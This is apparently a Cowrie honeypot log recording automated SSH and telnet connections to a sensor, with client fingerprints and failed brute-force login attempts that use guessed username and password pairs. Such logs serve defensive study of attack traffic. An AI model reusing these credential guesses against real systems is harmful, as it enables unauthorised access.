{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@2025","message":"login attempt [ubuntu/ubuntu@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:33:39.058069Z","src_ip":"185.40.30.168","session":"96dc2cb9ff26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:33:40.191308Z","src_ip":"185.40.30.168","session":"96dc2cb9ff26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.129","src_port":55053,"dst_ip":"10.17.0.5","dst_port":22,"session":"4084f55d319b","protocol":"ssh","message":"New connection: 45.79.207.129:55053 (10.17.0.5:22) [session: 4084f55d319b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:33:50.180070Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44606,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e753eb4363a","protocol":"ssh","message":"New connection: 159.203.92.129:44606 (159.203.135.109:22) [session: 7e753eb4363a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:33:52.396024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:33:52.401370Z","src_ip":"159.203.92.129","session":"7e753eb4363a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:33:52.412700Z","src_ip":"159.203.92.129","session":"7e753eb4363a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"cloudroot","message":"login attempt [administrator/cloudroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:33:52.424085Z","src_ip":"159.203.92.129","session":"7e753eb4363a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:33:52.717734Z","src_ip":"45.79.207.129","session":"4084f55d319b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:33:53.432561Z","src_ip":"159.203.92.129","session":"7e753eb4363a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53002,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc481213e45e","protocol":"ssh","message":"New connection: 159.203.92.129:53002 (159.203.135.109:22) [session: bc481213e45e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:34:37.327321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:34:37.331870Z","src_ip":"159.203.92.129","session":"bc481213e45e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:34:37.336594Z","src_ip":"159.203.92.129","session":"bc481213e45e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"cvsroot","message":"login attempt [administrator/cvsroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:34:37.348458Z","src_ip":"159.203.92.129","session":"bc481213e45e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":42764,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0159dbea194","protocol":"ssh","message":"New connection: 185.40.30.168:42764 (159.203.135.109:22) [session: b0159dbea194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:34:38.117203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:34:38.122508Z","src_ip":"185.40.30.168","session":"b0159dbea194","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:34:38.250181Z","src_ip":"185.40.30.168","session":"b0159dbea194","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":33872,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b2592284d99","protocol":"ssh","message":"New connection: 152.32.163.183:33872 (10.17.0.5:22) [session: 2b2592284d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:34:38.297447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:34:38.302531Z","src_ip":"152.32.163.183","session":"2b2592284d99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:34:38.387906Z","src_ip":"159.203.92.129","session":"bc481213e45e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:34:38.555588Z","src_ip":"152.32.163.183","session":"2b2592284d99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user0","password":"user0","message":"login attempt [user0/user0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:34:38.788372Z","src_ip":"185.40.30.168","session":"b0159dbea194","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"root","message":"login attempt [dev/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:34:39.597594Z","src_ip":"152.32.163.183","session":"2b2592284d99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:34:39.923695Z","src_ip":"185.40.30.168","session":"b0159dbea194","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:34:40.854156Z","src_ip":"152.32.163.183","session":"2b2592284d99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.76.29.142","src_port":51710,"dst_ip":"159.203.135.109","dst_port":23,"session":"3081a0887712","protocol":"telnet","message":"New connection: 45.76.29.142:51710 (159.203.135.109:23) [session: 3081a0887712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:34:49.175179Z"}
{"eventid":"cowrie.session.closed","duration":30.903159856796265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:35:20.078239Z","src_ip":"45.76.29.142","session":"3081a0887712","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":9426,"dst_ip":"159.203.135.109","dst_port":22,"session":"a95c74a2c79c","protocol":"ssh","message":"New connection: 125.166.19.90:9426 (159.203.135.109:22) [session: a95c74a2c79c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:35:23.241197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:35:23.247298Z","src_ip":"125.166.19.90","session":"a95c74a2c79c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:35:23.550958Z","src_ip":"125.166.19.90","session":"a95c74a2c79c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58542,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6bab888d8bf","protocol":"ssh","message":"New connection: 159.203.92.129:58542 (159.203.135.109:22) [session: c6bab888d8bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:35:24.143833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:35:24.148363Z","src_ip":"159.203.92.129","session":"c6bab888d8bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:35:24.152955Z","src_ip":"159.203.92.129","session":"c6bab888d8bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"dockerroot","message":"login attempt [administrator/dockerroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:35:24.169134Z","src_ip":"159.203.92.129","session":"c6bab888d8bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"pass1234","message":"login attempt [guest/pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:35:24.656049Z","src_ip":"125.166.19.90","session":"a95c74a2c79c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:35:25.175685Z","src_ip":"159.203.92.129","session":"c6bab888d8bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:35:25.930666Z","src_ip":"125.166.19.90","session":"a95c74a2c79c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60848,"dst_ip":"159.203.135.109","dst_port":22,"session":"4904f9944a92","protocol":"ssh","message":"New connection: 159.203.92.129:60848 (159.203.135.109:22) [session: 4904f9944a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:36:09.332285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:36:09.358685Z","src_ip":"159.203.92.129","session":"4904f9944a92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:36:09.363409Z","src_ip":"159.203.92.129","session":"4904f9944a92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"esroot","message":"login attempt [administrator/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:36:09.433914Z","src_ip":"159.203.92.129","session":"4904f9944a92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:36:10.448533Z","src_ip":"159.203.92.129","session":"4904f9944a92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":51416,"dst_ip":"159.203.135.109","dst_port":22,"session":"0adc03048905","protocol":"ssh","message":"New connection: 185.40.30.168:51416 (159.203.135.109:22) [session: 0adc03048905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:36:20.801922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:36:20.807534Z","src_ip":"185.40.30.168","session":"0adc03048905","protocol":"ssh"}
